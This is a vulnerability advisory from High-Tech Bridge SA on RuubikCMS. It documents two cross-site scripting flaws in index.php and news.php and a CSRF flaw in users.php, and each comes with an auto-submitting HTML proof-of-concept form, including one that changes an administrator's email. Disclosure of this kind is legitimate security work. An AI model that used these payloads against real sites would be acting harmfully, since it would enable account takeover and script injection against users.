Multiple Vulnerabilities in RuubikCMS

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in RuubikCMS which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerability in RuubikCMS
1.1 The vulnerability exists due to input sanitation error in the "pagelink" parameter in ruubikcms/cms/index.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires victim to be a member of the "Publishers" role.
Exploitation example:
<form action="http://example.com/ruubikcms/cms/index.php?p=home" method="post" name="main" >
<input type="hidden" name="save" value="1" />
<input type="hidden" name="ordernum" value="1" />
<input type="hidden" name="name" value="Home" />
<input type="hidden" name="header1" value="Home" />
<input type="hidden" name="pageurl" value="home" />
<input type="hidden" name="pagelink" value="%2Findex.php%2Fhome" />
<input type="hidden" name="mother_hidden" value="" />
<input type="hidden" name="creator" value="admin" />
<input type="hidden" name="title" value="" />
<input type="hidden" name="description" value='hello"><script>alert(document.cookie)</script>' />
<input type="hidden" name="keywords" value="" />
<input type="hidden" name="extracode" value="" />
<input type="hidden" name="picfile1" value="" />
<input type="hidden" name="picfile2" value="" />
<input type="hidden" name="tinyMCE" value="page content here..." />
</form>
<script>
document.main.submit();
</script>
1.2 The vulnerability exists due to input sanitation error in the "shorttext" parameter in ruubikcms/cms/news.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires victim to be a member of the "Publishers" role.
Exploitation example:
<form action="http://example.com/ruubikcms/cms/news.php?y=2009&id=60" method="post" name="main" >
<input type="hidden" name="save" value="1" />
<input type="hidden" name="ordernum" value="" />
<input type="hidden" name="title" value="News Title" />
<input type="hidden" name="status" value="1" />
<input type="hidden" name="time" value="2009-07-18" />
<input type="hidden" name="shorttext" value='hello"><script>alert(document.cookie)</script>' />
<input type="hidden" name="linktopage" value="" />
<input type="hidden" name="tinyMCE" value="news content here..." />
</form>
<script>
document.main.submit();
</script>

2) Cross-site request forgery (CSRF) in RuubikCMS
The vulnerability exists due to insufficient validation of the request origin in ruubikcms/cms/users.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change the administrator`s email address.
Exploitation example:
<form action="http://example.com/ruubikcms/cms/users.php?role=3&p=user_name" method="post">
<input type="hidden" name="save" value="1" >
<input type="hidden" name="ordernum" value="" >
<input type="hidden" name="username_hidden" value="user_name" >
<input type="hidden" name="password" value="" >
<input type="hidden" name="confirmpassword" value="" >
<input type="hidden" name="role" value="5" >
<input type="hidden" name="firstname" value="" >
<input type="hidden" name="lastname" value="" >
<input type="hidden" name="email" value="email@example.com" >
<input type="hidden" name="phone" value="" >
</form>
<script>
document.forms[0].submit()
</script>